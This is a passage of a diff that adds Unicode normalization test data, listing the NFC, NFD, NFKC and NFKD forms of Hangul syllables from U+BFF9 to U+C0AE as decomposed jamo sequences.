+{ source: [0xBFF9], NFC: [0xBFF9], NFD: [0x1108, 0x116F, 0x11B8], NFKC: [0xBFF9], NFKD: [0x1108, 0x116F, 0x11B8] },
+{ source: [0xBFFA], NFC: [0xBFFA], NFD: [0x1108, 0x116F, 0x11B9], NFKC: [0xBFFA], NFKD: [0x1108, 0x116F, 0x11B9] },
+{ source: [0xBFFB], NFC: [0xBFFB], NFD: [0x1108, 0x116F, 0x11BA], NFKC: [0xBFFB], NFKD: [0x1108, 0x116F, 0x11BA] },
+{ source: [0xBFFC], NFC: [0xBFFC], NFD: [0x1108, 0x116F, 0x11BB], NFKC: [0xBFFC], NFKD: [0x1108, 0x116F, 0x11BB] },
+{ source: [0xBFFD], NFC: [0xBFFD], NFD: [0x1108, 0x116F, 0x11BC], NFKC: [0xBFFD], NFKD: [0x1108, 0x116F, 0x11BC] },
+{ source: [0xBFFE], NFC: [0xBFFE], NFD: [0x1108, 0x116F, 0x11BD], NFKC: [0xBFFE], NFKD: [0x1108, 0x116F, 0x11BD] },
+{ source: [0xBFFF], NFC: [0xBFFF], NFD: [0x1108, 0x116F, 0x11BE], NFKC: [0xBFFF], NFKD: [0x1108, 0x116F, 0x11BE] },
+{ source: [0xC000], NFC: [0xC000], NFD: [0x1108, 0x116F, 0x11BF], NFKC: [0xC000], NFKD: [0x1108, 0x116F, 0x11BF] },
+{ source: [0xC001], NFC: [0xC001], NFD: [0x1108, 0x116F, 0x11C0], NFKC: [0xC001], NFKD: [0x1108, 0x116F, 0x11C0] },
+{ source: [0xC002], NFC: [0xC002], NFD: [0x1108, 0x116F, 0x11C1], NFKC: [0xC002], NFKD: [0x1108, 0x116F, 0x11C1] },
+{ source: [0xC003], NFC: [0xC003], NFD: [0x1108, 0x116F, 0x11C2], NFKC: [0xC003], NFKD: [0x1108, 0x116F, 0x11C2] },
+{ source: [0xC004], NFC: [0xC004], NFD: [0x1108, 0x1170], NFKC: [0xC004], NFKD: [0x1108, 0x1170] },
+{ source: [0xC005], NFC: [0xC005], NFD: [0x1108, 0x1170, 0x11A8], NFKC: [0xC005], NFKD: [0x1108, 0x1170, 0x11A8] },
+{ source: [0xC006], NFC: [0xC006], NFD: [0x1108, 0x1170, 0x11A9], NFKC: [0xC006], NFKD: [0x1108, 0x1170, 0x11A9] },
+{ source: [0xC007], NFC: [0xC007], NFD: [0x1108, 0x1170, 0x11AA], NFKC: [0xC007], NFKD: [0x1108, 0x1170, 0x11AA] },
+{ source: [0xC008], NFC: [0xC008], NFD: [0x1108, 0x1170, 0x11AB], NFKC: [0xC008], NFKD: [0x1108, 0x1170, 0x11AB] },
+{ source: [0xC009], NFC: [0xC009], NFD: [0x1108, 0x1170, 0x11AC], NFKC: [0xC009], NFKD: [0x1108, 0x1170, 0x11AC] },
+{ source: [0xC00A], NFC: [0xC00A], NFD: [0x1108, 0x1170, 0x11AD], NFKC: [0xC00A], NFKD: [0x1108, 0x1170, 0x11AD] },
+{ source: [0xC00B], NFC: [0xC00B], NFD: [0x1108, 0x1170, 0x11AE], NFKC: [0xC00B], NFKD: [0x1108, 0x1170, 0x11AE] },
+{ source: [0xC00C], NFC: [0xC00C], NFD: [0x1108, 0x1170, 0x11AF], NFKC: [0xC00C], NFKD: [0x1108, 0x1170, 0x11AF] },
+{ source: [0xC00D], NFC: [0xC00D], NFD: [0x1108, 0x1170, 0x11B0], NFKC: [0xC00D], NFKD: [0x1108, 0x1170, 0x11B0] },
+{ source: [0xC00E], NFC: [0xC00E], NFD: [0x1108, 0x1170, 0x11B1], NFKC: [0xC00E], NFKD: [0x1108, 0x1170, 0x11B1] },
+{ source: [0xC00F], NFC: [0xC00F], NFD: [0x1108, 0x1170, 0x11B2], NFKC: [0xC00F], NFKD: [0x1108, 0x1170, 0x11B2] },
+{ source: [0xC010], NFC: [0xC010], NFD: [0x1108, 0x1170, 0x11B3], NFKC: [0xC010], NFKD: [0x1108, 0x1170, 0x11B3] },
+{ source: [0xC011], NFC: [0xC011], NFD: [0x1108, 0x1170, 0x11B4], NFKC: [0xC011], NFKD: [0x1108, 0x1170, 0x11B4] },
+{ source: [0xC012], NFC: [0xC012], NFD: [0x1108, 0x1170, 0x11B5], NFKC: [0xC012], NFKD: [0x1108, 0x1170, 0x11B5] },
+{ source: [0xC013], NFC: [0xC013], NFD: [0x1108, 0x1170, 0x11B6], NFKC: [0xC013], NFKD: [0x1108, 0x1170, 0x11B6] },
+{ source: [0xC014], NFC: [0xC014], NFD: [0x1108, 0x1170, 0x11B7], NFKC: [0xC014], NFKD: [0x1108, 0x1170, 0x11B7] },
+{ source: [0xC015], NFC: [0xC015], NFD: [0x1108, 0x1170, 0x11B8], NFKC: [0xC015], NFKD: [0x1108, 0x1170, 0x11B8] },
+{ source: [0xC016], NFC: [0xC016], NFD: [0x1108, 0x1170, 0x11B9], NFKC: [0xC016], NFKD: [0x1108, 0x1170, 0x11B9] },
+{ source: [0xC017], NFC: [0xC017], NFD: [0x1108, 0x1170, 0x11BA], NFKC: [0xC017], NFKD: [0x1108, 0x1170, 0x11BA] },
+{ source: [0xC018], NFC: [0xC018], NFD: [0x1108, 0x1170, 0x11BB], NFKC: [0xC018], NFKD: [0x1108, 0x1170, 0x11BB] },
+{ source: [0xC019], NFC: [0xC019], NFD: [0x1108, 0x1170, 0x11BC], NFKC: [0xC019], NFKD: [0x1108, 0x1170, 0x11BC] },
+{ source: [0xC01A], NFC: [0xC01A], NFD: [0x1108, 0x1170, 0x11BD], NFKC: [0xC01A], NFKD: [0x1108, 0x1170, 0x11BD] },
+{ source: [0xC01B], NFC: [0xC01B], NFD: [0x1108, 0x1170, 0x11BE], NFKC: [0xC01B], NFKD: [0x1108, 0x1170, 0x11BE] },
+{ source: [0xC01C], NFC: [0xC01C], NFD: [0x1108, 0x1170, 0x11BF], NFKC: [0xC01C], NFKD: [0x1108, 0x1170, 0x11BF] },
+{ source: [0xC01D], NFC: [0xC01D], NFD: [0x1108, 0x1170, 0x11C0], NFKC: [0xC01D], NFKD: [0x1108, 0x1170, 0x11C0] },
+{ source: [0xC01E], NFC: [0xC01E], NFD: [0x1108, 0x1170, 0x11C1], NFKC: [0xC01E], NFKD: [0x1108, 0x1170, 0x11C1] },
+{ source: [0xC01F], NFC: [0xC01F], NFD: [0x1108, 0x1170, 0x11C2], NFKC: [0xC01F], NFKD: [0x1108, 0x1170, 0x11C2] },
+{ source: [0xC020], NFC: [0xC020], NFD: [0x1108, 0x1171], NFKC: [0xC020], NFKD: [0x1108, 0x1171] },
+{ source: [0xC021], NFC: [0xC021], NFD: [0x1108, 0x1171, 0x11A8], NFKC: [0xC021], NFKD: [0x1108, 0x1171, 0x11A8] },
+{ source: [0xC022], NFC: [0xC022], NFD: [0x1108, 0x1171, 0x11A9], NFKC: [0xC022], NFKD: [0x1108, 0x1171, 0x11A9] },
+{ source: [0xC023], NFC: [0xC023], NFD: [0x1108, 0x1171, 0x11AA], NFKC: [0xC023], NFKD: [0x1108, 0x1171, 0x11AA] },
+{ source: [0xC024], NFC: [0xC024], NFD: [0x1108, 0x1171, 0x11AB], NFKC: [0xC024], NFKD: [0x1108, 0x1171, 0x11AB] },
+{ source: [0xC025], NFC: [0xC025], NFD: [0x1108, 0x1171, 0x11AC], NFKC: [0xC025], NFKD: [0x1108, 0x1171, 0x11AC] },
+{ source: [0xC026], NFC: [0xC026], NFD: [0x1108, 0x1171, 0x11AD], NFKC: [0xC026], NFKD: [0x1108, 0x1171, 0x11AD] },
+{ source: [0xC027], NFC: [0xC027], NFD: [0x1108, 0x1171, 0x11AE], NFKC: [0xC027], NFKD: [0x1108, 0x1171, 0x11AE] },
+{ source: [0xC028], NFC: [0xC028], NFD: [0x1108, 0x1171, 0x11AF], NFKC: [0xC028], NFKD: [0x1108, 0x1171, 0x11AF] },
+{ source: [0xC029], NFC: [0xC029], NFD: [0x1108, 0x1171, 0x11B0], NFKC: [0xC029], NFKD: [0x1108, 0x1171, 0x11B0] },
+{ source: [0xC02A], NFC: [0xC02A], NFD: [0x1108, 0x1171, 0x11B1], NFKC: [0xC02A], NFKD: [0x1108, 0x1171, 0x11B1] },
+{ source: [0xC02B], NFC: [0xC02B], NFD: [0x1108, 0x1171, 0x11B2], NFKC: [0xC02B], NFKD: [0x1108, 0x1171, 0x11B2] },
+{ source: [0xC02C], NFC: [0xC02C], NFD: [0x1108, 0x1171, 0x11B3], NFKC: [0xC02C], NFKD: [0x1108, 0x1171, 0x11B3] },
+{ source: [0xC02D], NFC: [0xC02D], NFD: [0x1108, 0x1171, 0x11B4], NFKC: [0xC02D], NFKD: [0x1108, 0x1171, 0x11B4] },
+{ source: [0xC02E], NFC: [0xC02E], NFD: [0x1108, 0x1171, 0x11B5], NFKC: [0xC02E], NFKD: [0x1108, 0x1171, 0x11B5] },
+{ source: [0xC02F], NFC: [0xC02F], NFD: [0x1108, 0x1171, 0x11B6], NFKC: [0xC02F], NFKD: [0x1108, 0x1171, 0x11B6] },
+{ source: [0xC030], NFC: [0xC030], NFD: [0x1108, 0x1171, 0x11B7], NFKC: [0xC030], NFKD: [0x1108, 0x1171, 0x11B7] },
+{ source: [0xC031], NFC: [0xC031], NFD: [0x1108, 0x1171, 0x11B8], NFKC: [0xC031], NFKD: [0x1108, 0x1171, 0x11B8] },
+{ source: [0xC032], NFC: [0xC032], NFD: [0x1108, 0x1171, 0x11B9], NFKC: [0xC032], NFKD: [0x1108, 0x1171, 0x11B9] },
+{ source: [0xC033], NFC: [0xC033], NFD: [0x1108, 0x1171, 0x11BA], NFKC: [0xC033], NFKD: [0x1108, 0x1171, 0x11BA] },
+{ source: [0xC034], NFC: [0xC034], NFD: [0x1108, 0x1171, 0x11BB], NFKC: [0xC034], NFKD: [0x1108, 0x1171, 0x11BB] },
+{ source: [0xC035], NFC: [0xC035], NFD: [0x1108, 0x1171, 0x11BC], NFKC: [0xC035], NFKD: [0x1108, 0x1171, 0x11BC] },
+{ source: [0xC036], NFC: [0xC036], NFD: [0x1108, 0x1171, 0x11BD], NFKC: [0xC036], NFKD: [0x1108, 0x1171, 0x11BD] },
+{ source: [0xC037], NFC: [0xC037], NFD: [0x1108, 0x1171, 0x11BE], NFKC: [0xC037], NFKD: [0x1108, 0x1171, 0x11BE] },
+{ source: [0xC038], NFC: [0xC038], NFD: [0x1108, 0x1171, 0x11BF], NFKC: [0xC038], NFKD: [0x1108, 0x1171, 0x11BF] },
+{ source: [0xC039], NFC: [0xC039], NFD: [0x1108, 0x1171, 0x11C0], NFKC: [0xC039], NFKD: [0x1108, 0x1171, 0x11C0] },
+{ source: [0xC03A], NFC: [0xC03A], NFD: [0x1108, 0x1171, 0x11C1], NFKC: [0xC03A], NFKD: [0x1108, 0x1171, 0x11C1] },
+{ source: [0xC03B], NFC: [0xC03B], NFD: [0x1108, 0x1171, 0x11C2], NFKC: [0xC03B], NFKD: [0x1108, 0x1171, 0x11C2] },
+{ source: [0xC03C], NFC: [0xC03C], NFD: [0x1108, 0x1172], NFKC: [0xC03C], NFKD: [0x1108, 0x1172] },
+{ source: [0xC03D], NFC: [0xC03D], NFD: [0x1108, 0x1172, 0x11A8], NFKC: [0xC03D], NFKD: [0x1108, 0x1172, 0x11A8] },
+{ source: [0xC03E], NFC: [0xC03E], NFD: [0x1108, 0x1172, 0x11A9], NFKC: [0xC03E], NFKD: [0x1108, 0x1172, 0x11A9] },
+{ source: [0xC03F], NFC: [0xC03F], NFD: [0x1108, 0x1172, 0x11AA], NFKC: [0xC03F], NFKD: [0x1108, 0x1172, 0x11AA] },
+{ source: [0xC040], NFC: [0xC040], NFD: [0x1108, 0x1172, 0x11AB], NFKC: [0xC040], NFKD: [0x1108, 0x1172, 0x11AB] },
+{ source: [0xC041], NFC: [0xC041], NFD: [0x1108, 0x1172, 0x11AC], NFKC: [0xC041], NFKD: [0x1108, 0x1172, 0x11AC] },
+{ source: [0xC042], NFC: [0xC042], NFD: [0x1108, 0x1172, 0x11AD], NFKC: [0xC042], NFKD: [0x1108, 0x1172, 0x11AD] },
+{ source: [0xC043], NFC: [0xC043], NFD: [0x1108, 0x1172, 0x11AE], NFKC: [0xC043], NFKD: [0x1108, 0x1172, 0x11AE] },
+{ source: [0xC044], NFC: [0xC044], NFD: [0x1108, 0x1172, 0x11AF], NFKC: [0xC044], NFKD: [0x1108, 0x1172, 0x11AF] },
+{ source: [0xC045], NFC: [0xC045], NFD: [0x1108, 0x1172, 0x11B0], NFKC: [0xC045], NFKD: [0x1108, 0x1172, 0x11B0] },
+{ source: [0xC046], NFC: [0xC046], NFD: [0x1108, 0x1172, 0x11B1], NFKC: [0xC046], NFKD: [0x1108, 0x1172, 0x11B1] },
+{ source: [0xC047], NFC: [0xC047], NFD: [0x1108, 0x1172, 0x11B2], NFKC: [0xC047], NFKD: [0x1108, 0x1172, 0x11B2] },
+{ source: [0xC048], NFC: [0xC048], NFD: [0x1108, 0x1172, 0x11B3], NFKC: [0xC048], NFKD: [0x1108, 0x1172, 0x11B3] },
+{ source: [0xC049], NFC: [0xC049], NFD: [0x1108, 0x1172, 0x11B4], NFKC: [0xC049], NFKD: [0x1108, 0x1172, 0x11B4] },
+{ source: [0xC04A], NFC: [0xC04A], NFD: [0x1108, 0x1172, 0x11B5], NFKC: [0xC04A], NFKD: [0x1108, 0x1172, 0x11B5] },
+{ source: [0xC04B], NFC: [0xC04B], NFD: [0x1108, 0x1172, 0x11B6], NFKC: [0xC04B], NFKD: [0x1108, 0x1172, 0x11B6] },
+{ source: [0xC04C], NFC: [0xC04C], NFD: [0x1108, 0x1172, 0x11B7], NFKC: [0xC04C], NFKD: [0x1108, 0x1172, 0x11B7] },
+{ source: [0xC04D], NFC: [0xC04D], NFD: [0x1108, 0x1172, 0x11B8], NFKC: [0xC04D], NFKD: [0x1108, 0x1172, 0x11B8] },
+{ source: [0xC04E], NFC: [0xC04E], NFD: [0x1108, 0x1172, 0x11B9], NFKC: [0xC04E], NFKD: [0x1108, 0x1172, 0x11B9] },
+{ source: [0xC04F], NFC: [0xC04F], NFD: [0x1108, 0x1172, 0x11BA], NFKC: [0xC04F], NFKD: [0x1108, 0x1172, 0x11BA] },
+{ source: [0xC050], NFC: [0xC050], NFD: [0x1108, 0x1172, 0x11BB], NFKC: [0xC050], NFKD: [0x1108, 0x1172, 0x11BB] },
+{ source: [0xC051], NFC: [0xC051], NFD: [0x1108, 0x1172, 0x11BC], NFKC: [0xC051], NFKD: [0x1108, 0x1172, 0x11BC] },
+{ source: [0xC052], NFC: [0xC052], NFD: [0x1108, 0x1172, 0x11BD], NFKC: [0xC052], NFKD: [0x1108, 0x1172, 0x11BD] },
+{ source: [0xC053], NFC: [0xC053], NFD: [0x1108, 0x1172, 0x11BE], NFKC: [0xC053], NFKD: [0x1108, 0x1172, 0x11BE] },
+{ source: [0xC054], NFC: [0xC054], NFD: [0x1108, 0x1172, 0x11BF], NFKC: [0xC054], NFKD: [0x1108, 0x1172, 0x11BF] },
+{ source: [0xC055], NFC: [0xC055], NFD: [0x1108, 0x1172, 0x11C0], NFKC: [0xC055], NFKD: [0x1108, 0x1172, 0x11C0] },
+{ source: [0xC056], NFC: [0xC056], NFD: [0x1108, 0x1172, 0x11C1], NFKC: [0xC056], NFKD: [0x1108, 0x1172, 0x11C1] },
+{ source: [0xC057], NFC: [0xC057], NFD: [0x1108, 0x1172, 0x11C2], NFKC: [0xC057], NFKD: [0x1108, 0x1172, 0x11C2] },
+{ source: [0xC058], NFC: [0xC058], NFD: [0x1108, 0x1173], NFKC: [0xC058], NFKD: [0x1108, 0x1173] },
+{ source: [0xC059], NFC: [0xC059], NFD: [0x1108, 0x1173, 0x11A8], NFKC: [0xC059], NFKD: [0x1108, 0x1173, 0x11A8] },
+{ source: [0xC05A], NFC: [0xC05A], NFD: [0x1108, 0x1173, 0x11A9], NFKC: [0xC05A], NFKD: [0x1108, 0x1173, 0x11A9] },
+{ source: [0xC05B], NFC: [0xC05B], NFD: [0x1108, 0x1173, 0x11AA], NFKC: [0xC05B], NFKD: [0x1108, 0x1173, 0x11AA] },
+{ source: [0xC05C], NFC: [0xC05C], NFD: [0x1108, 0x1173, 0x11AB], NFKC: [0xC05C], NFKD: [0x1108, 0x1173, 0x11AB] },
+{ source: [0xC05D], NFC: [0xC05D], NFD: [0x1108, 0x1173, 0x11AC], NFKC: [0xC05D], NFKD: [0x1108, 0x1173, 0x11AC] },
+{ source: [0xC05E], NFC: [0xC05E], NFD: [0x1108, 0x1173, 0x11AD], NFKC: [0xC05E], NFKD: [0x1108, 0x1173, 0x11AD] },
+{ source: [0xC05F], NFC: [0xC05F], NFD: [0x1108, 0x1173, 0x11AE], NFKC: [0xC05F], NFKD: [0x1108, 0x1173, 0x11AE] },
+{ source: [0xC060], NFC: [0xC060], NFD: [0x1108, 0x1173, 0x11AF], NFKC: [0xC060], NFKD: [0x1108, 0x1173, 0x11AF] },
+{ source: [0xC061], NFC: [0xC061], NFD: [0x1108, 0x1173, 0x11B0], NFKC: [0xC061], NFKD: [0x1108, 0x1173, 0x11B0] },
+{ source: [0xC062], NFC: [0xC062], NFD: [0x1108, 0x1173, 0x11B1], NFKC: [0xC062], NFKD: [0x1108, 0x1173, 0x11B1] },
+{ source: [0xC063], NFC: [0xC063], NFD: [0x1108, 0x1173, 0x11B2], NFKC: [0xC063], NFKD: [0x1108, 0x1173, 0x11B2] },
+{ source: [0xC064], NFC: [0xC064], NFD: [0x1108, 0x1173, 0x11B3], NFKC: [0xC064], NFKD: [0x1108, 0x1173, 0x11B3] },
+{ source: [0xC065], NFC: [0xC065], NFD: [0x1108, 0x1173, 0x11B4], NFKC: [0xC065], NFKD: [0x1108, 0x1173, 0x11B4] },
+{ source: [0xC066], NFC: [0xC066], NFD: [0x1108, 0x1173, 0x11B5], NFKC: [0xC066], NFKD: [0x1108, 0x1173, 0x11B5] },
+{ source: [0xC067], NFC: [0xC067], NFD: [0x1108, 0x1173, 0x11B6], NFKC: [0xC067], NFKD: [0x1108, 0x1173, 0x11B6] },
+{ source: [0xC068], NFC: [0xC068], NFD: [0x1108, 0x1173, 0x11B7], NFKC: [0xC068], NFKD: [0x1108, 0x1173, 0x11B7] },
+{ source: [0xC069], NFC: [0xC069], NFD: [0x1108, 0x1173, 0x11B8], NFKC: [0xC069], NFKD: [0x1108, 0x1173, 0x11B8] },
+{ source: [0xC06A], NFC: [0xC06A], NFD: [0x1108, 0x1173, 0x11B9], NFKC: [0xC06A], NFKD: [0x1108, 0x1173, 0x11B9] },
+{ source: [0xC06B], NFC: [0xC06B], NFD: [0x1108, 0x1173, 0x11BA], NFKC: [0xC06B], NFKD: [0x1108, 0x1173, 0x11BA] },
+{ source: [0xC06C], NFC: [0xC06C], NFD: [0x1108, 0x1173, 0x11BB], NFKC: [0xC06C], NFKD: [0x1108, 0x1173, 0x11BB] },
+{ source: [0xC06D], NFC: [0xC06D], NFD: [0x1108, 0x1173, 0x11BC], NFKC: [0xC06D], NFKD: [0x1108, 0x1173, 0x11BC] },
+{ source: [0xC06E], NFC: [0xC06E], NFD: [0x1108, 0x1173, 0x11BD], NFKC: [0xC06E], NFKD: [0x1108, 0x1173, 0x11BD] },
+{ source: [0xC06F], NFC: [0xC06F], NFD: [0x1108, 0x1173, 0x11BE], NFKC: [0xC06F], NFKD: [0x1108, 0x1173, 0x11BE] },
+{ source: [0xC070], NFC: [0xC070], NFD: [0x1108, 0x1173, 0x11BF], NFKC: [0xC070], NFKD: [0x1108, 0x1173, 0x11BF] },
+{ source: [0xC071], NFC: [0xC071], NFD: [0x1108, 0x1173, 0x11C0], NFKC: [0xC071], NFKD: [0x1108, 0x1173, 0x11C0] },
+{ source: [0xC072], NFC: [0xC072], NFD: [0x1108, 0x1173, 0x11C1], NFKC: [0xC072], NFKD: [0x1108, 0x1173, 0x11C1] },
+{ source: [0xC073], NFC: [0xC073], NFD: [0x1108, 0x1173, 0x11C2], NFKC: [0xC073], NFKD: [0x1108, 0x1173, 0x11C2] },
+{ source: [0xC074], NFC: [0xC074], NFD: [0x1108, 0x1174], NFKC: [0xC074], NFKD: [0x1108, 0x1174] },
+{ source: [0xC075], NFC: [0xC075], NFD: [0x1108, 0x1174, 0x11A8], NFKC: [0xC075], NFKD: [0x1108, 0x1174, 0x11A8] },
+{ source: [0xC076], NFC: [0xC076], NFD: [0x1108, 0x1174, 0x11A9], NFKC: [0xC076], NFKD: [0x1108, 0x1174, 0x11A9] },
+{ source: [0xC077], NFC: [0xC077], NFD: [0x1108, 0x1174, 0x11AA], NFKC: [0xC077], NFKD: [0x1108, 0x1174, 0x11AA] },
+{ source: [0xC078], NFC: [0xC078], NFD: [0x1108, 0x1174, 0x11AB], NFKC: [0xC078], NFKD: [0x1108, 0x1174, 0x11AB] },
+{ source: [0xC079], NFC: [0xC079], NFD: [0x1108, 0x1174, 0x11AC], NFKC: [0xC079], NFKD: [0x1108, 0x1174, 0x11AC] },
+{ source: [0xC07A], NFC: [0xC07A], NFD: [0x1108, 0x1174, 0x11AD], NFKC: [0xC07A], NFKD: [0x1108, 0x1174, 0x11AD] },
+{ source: [0xC07B], NFC: [0xC07B], NFD: [0x1108, 0x1174, 0x11AE], NFKC: [0xC07B], NFKD: [0x1108, 0x1174, 0x11AE] },
+{ source: [0xC07C], NFC: [0xC07C], NFD: [0x1108, 0x1174, 0x11AF], NFKC: [0xC07C], NFKD: [0x1108, 0x1174, 0x11AF] },
+{ source: [0xC07D], NFC: [0xC07D], NFD: [0x1108, 0x1174, 0x11B0], NFKC: [0xC07D], NFKD: [0x1108, 0x1174, 0x11B0] },
+{ source: [0xC07E], NFC: [0xC07E], NFD: [0x1108, 0x1174, 0x11B1], NFKC: [0xC07E], NFKD: [0x1108, 0x1174, 0x11B1] },
+{ source: [0xC07F], NFC: [0xC07F], NFD: [0x1108, 0x1174, 0x11B2], NFKC: [0xC07F], NFKD: [0x1108, 0x1174, 0x11B2] },
+{ source: [0xC080], NFC: [0xC080], NFD: [0x1108, 0x1174, 0x11B3], NFKC: [0xC080], NFKD: [0x1108, 0x1174, 0x11B3] },
+{ source: [0xC081], NFC: [0xC081], NFD: [0x1108, 0x1174, 0x11B4], NFKC: [0xC081], NFKD: [0x1108, 0x1174, 0x11B4] },
+{ source: [0xC082], NFC: [0xC082], NFD: [0x1108, 0x1174, 0x11B5], NFKC: [0xC082], NFKD: [0x1108, 0x1174, 0x11B5] },
+{ source: [0xC083], NFC: [0xC083], NFD: [0x1108, 0x1174, 0x11B6], NFKC: [0xC083], NFKD: [0x1108, 0x1174, 0x11B6] },
+{ source: [0xC084], NFC: [0xC084], NFD: [0x1108, 0x1174, 0x11B7], NFKC: [0xC084], NFKD: [0x1108, 0x1174, 0x11B7] },
+{ source: [0xC085], NFC: [0xC085], NFD: [0x1108, 0x1174, 0x11B8], NFKC: [0xC085], NFKD: [0x1108, 0x1174, 0x11B8] },
+{ source: [0xC086], NFC: [0xC086], NFD: [0x1108, 0x1174, 0x11B9], NFKC: [0xC086], NFKD: [0x1108, 0x1174, 0x11B9] },
+{ source: [0xC087], NFC: [0xC087], NFD: [0x1108, 0x1174, 0x11BA], NFKC: [0xC087], NFKD: [0x1108, 0x1174, 0x11BA] },
+{ source: [0xC088], NFC: [0xC088], NFD: [0x1108, 0x1174, 0x11BB], NFKC: [0xC088], NFKD: [0x1108, 0x1174, 0x11BB] },
+{ source: [0xC089], NFC: [0xC089], NFD: [0x1108, 0x1174, 0x11BC], NFKC: [0xC089], NFKD: [0x1108, 0x1174, 0x11BC] },
+{ source: [0xC08A], NFC: [0xC08A], NFD: [0x1108, 0x1174, 0x11BD], NFKC: [0xC08A], NFKD: [0x1108, 0x1174, 0x11BD] },
+{ source: [0xC08B], NFC: [0xC08B], NFD: [0x1108, 0x1174, 0x11BE], NFKC: [0xC08B], NFKD: [0x1108, 0x1174, 0x11BE] },
+{ source: [0xC08C], NFC: [0xC08C], NFD: [0x1108, 0x1174, 0x11BF], NFKC: [0xC08C], NFKD: [0x1108, 0x1174, 0x11BF] },
+{ source: [0xC08D], NFC: [0xC08D], NFD: [0x1108, 0x1174, 0x11C0], NFKC: [0xC08D], NFKD: [0x1108, 0x1174, 0x11C0] },
+{ source: [0xC08E], NFC: [0xC08E], NFD: [0x1108, 0x1174, 0x11C1], NFKC: [0xC08E], NFKD: [0x1108, 0x1174, 0x11C1] },
+{ source: [0xC08F], NFC: [0xC08F], NFD: [0x1108, 0x1174, 0x11C2], NFKC: [0xC08F], NFKD: [0x1108, 0x1174, 0x11C2] },
+{ source: [0xC090], NFC: [0xC090], NFD: [0x1108, 0x1175], NFKC: [0xC090], NFKD: [0x1108, 0x1175] },
+{ source: [0xC091], NFC: [0xC091], NFD: [0x1108, 0x1175, 0x11A8], NFKC: [0xC091], NFKD: [0x1108, 0x1175, 0x11A8] },
+{ source: [0xC092], NFC: [0xC092], NFD: [0x1108, 0x1175, 0x11A9], NFKC: [0xC092], NFKD: [0x1108, 0x1175, 0x11A9] },
+{ source: [0xC093], NFC: [0xC093], NFD: [0x1108, 0x1175, 0x11AA], NFKC: [0xC093], NFKD: [0x1108, 0x1175, 0x11AA] },
+{ source: [0xC094], NFC: [0xC094], NFD: [0x1108, 0x1175, 0x11AB], NFKC: [0xC094], NFKD: [0x1108, 0x1175, 0x11AB] },
+{ source: [0xC095], NFC: [0xC095], NFD: [0x1108, 0x1175, 0x11AC], NFKC: [0xC095], NFKD: [0x1108, 0x1175, 0x11AC] },
+{ source: [0xC096], NFC: [0xC096], NFD: [0x1108, 0x1175, 0x11AD], NFKC: [0xC096], NFKD: [0x1108, 0x1175, 0x11AD] },
+{ source: [0xC097], NFC: [0xC097], NFD: [0x1108, 0x1175, 0x11AE], NFKC: [0xC097], NFKD: [0x1108, 0x1175, 0x11AE] },
+{ source: [0xC098], NFC: [0xC098], NFD: [0x1108, 0x1175, 0x11AF], NFKC: [0xC098], NFKD: [0x1108, 0x1175, 0x11AF] },
+{ source: [0xC099], NFC: [0xC099], NFD: [0x1108, 0x1175, 0x11B0], NFKC: [0xC099], NFKD: [0x1108, 0x1175, 0x11B0] },
+{ source: [0xC09A], NFC: [0xC09A], NFD: [0x1108, 0x1175, 0x11B1], NFKC: [0xC09A], NFKD: [0x1108, 0x1175, 0x11B1] },
+{ source: [0xC09B], NFC: [0xC09B], NFD: [0x1108, 0x1175, 0x11B2], NFKC: [0xC09B], NFKD: [0x1108, 0x1175, 0x11B2] },
+{ source: [0xC09C], NFC: [0xC09C], NFD: [0x1108, 0x1175, 0x11B3], NFKC: [0xC09C], NFKD: [0x1108, 0x1175, 0x11B3] },
+{ source: [0xC09D], NFC: [0xC09D], NFD: [0x1108, 0x1175, 0x11B4], NFKC: [0xC09D], NFKD: [0x1108, 0x1175, 0x11B4] },
+{ source: [0xC09E], NFC: [0xC09E], NFD: [0x1108, 0x1175, 0x11B5], NFKC: [0xC09E], NFKD: [0x1108, 0x1175, 0x11B5] },
+{ source: [0xC09F], NFC: [0xC09F], NFD: [0x1108, 0x1175, 0x11B6], NFKC: [0xC09F], NFKD: [0x1108, 0x1175, 0x11B6] },
+{ source: [0xC0A0], NFC: [0xC0A0], NFD: [0x1108, 0x1175, 0x11B7], NFKC: [0xC0A0], NFKD: [0x1108, 0x1175, 0x11B7] },
+{ source: [0xC0A1], NFC: [0xC0A1], NFD: [0x1108, 0x1175, 0x11B8], NFKC: [0xC0A1], NFKD: [0x1108, 0x1175, 0x11B8] },
+{ source: [0xC0A2], NFC: [0xC0A2], NFD: [0x1108, 0x1175, 0x11B9], NFKC: [0xC0A2], NFKD: [0x1108, 0x1175, 0x11B9] },
+{ source: [0xC0A3], NFC: [0xC0A3], NFD: [0x1108, 0x1175, 0x11BA], NFKC: [0xC0A3], NFKD: [0x1108, 0x1175, 0x11BA] },
+{ source: [0xC0A4], NFC: [0xC0A4], NFD: [0x1108, 0x1175, 0x11BB], NFKC: [0xC0A4], NFKD: [0x1108, 0x1175, 0x11BB] },
+{ source: [0xC0A5], NFC: [0xC0A5], NFD: [0x1108, 0x1175, 0x11BC], NFKC: [0xC0A5], NFKD: [0x1108, 0x1175, 0x11BC] },
+{ source: [0xC0A6], NFC: [0xC0A6], NFD: [0x1108, 0x1175, 0x11BD], NFKC: [0xC0A6], NFKD: [0x1108, 0x1175, 0x11BD] },
+{ source: [0xC0A7], NFC: [0xC0A7], NFD: [0x1108, 0x1175, 0x11BE], NFKC: [0xC0A7], NFKD: [0x1108, 0x1175, 0x11BE] },
+{ source: [0xC0A8], NFC: [0xC0A8], NFD: [0x1108, 0x1175, 0x11BF], NFKC: [0xC0A8], NFKD: [0x1108, 0x1175, 0x11BF] },
+{ source: [0xC0A9], NFC: [0xC0A9], NFD: [0x1108, 0x1175, 0x11C0], NFKC: [0xC0A9], NFKD: [0x1108, 0x1175, 0x11C0] },
+{ source: [0xC0AA], NFC: [0xC0AA], NFD: [0x1108, 0x1175, 0x11C1], NFKC: [0xC0AA], NFKD: [0x1108, 0x1175, 0x11C1] },
+{ source: [0xC0AB], NFC: [0xC0AB], NFD: [0x1108, 0x1175, 0x11C2], NFKC: [0xC0AB], NFKD: [0x1108, 0x1175, 0x11C2] },
+{ source: [0xC0AC], NFC: [0xC0AC], NFD: [0x1109, 0x1161], NFKC: [0xC0AC], NFKD: [0x1109, 0x1161] },
+{ source: [0xC0AD], NFC: [0xC0AD], NFD: [0x1109, 0x1161, 0x11A8], NFKC: [0xC0AD], NFKD: [0x1109, 0x1161, 0x11A8] },
+{ source: [0xC0AE], NFC: [0xC0AE], NFD: [0x1109, 0x1161, 0x11A9], NFKC: [0xC0AE], NFKD: [0x1109, 0x1161, 0x11A9] },
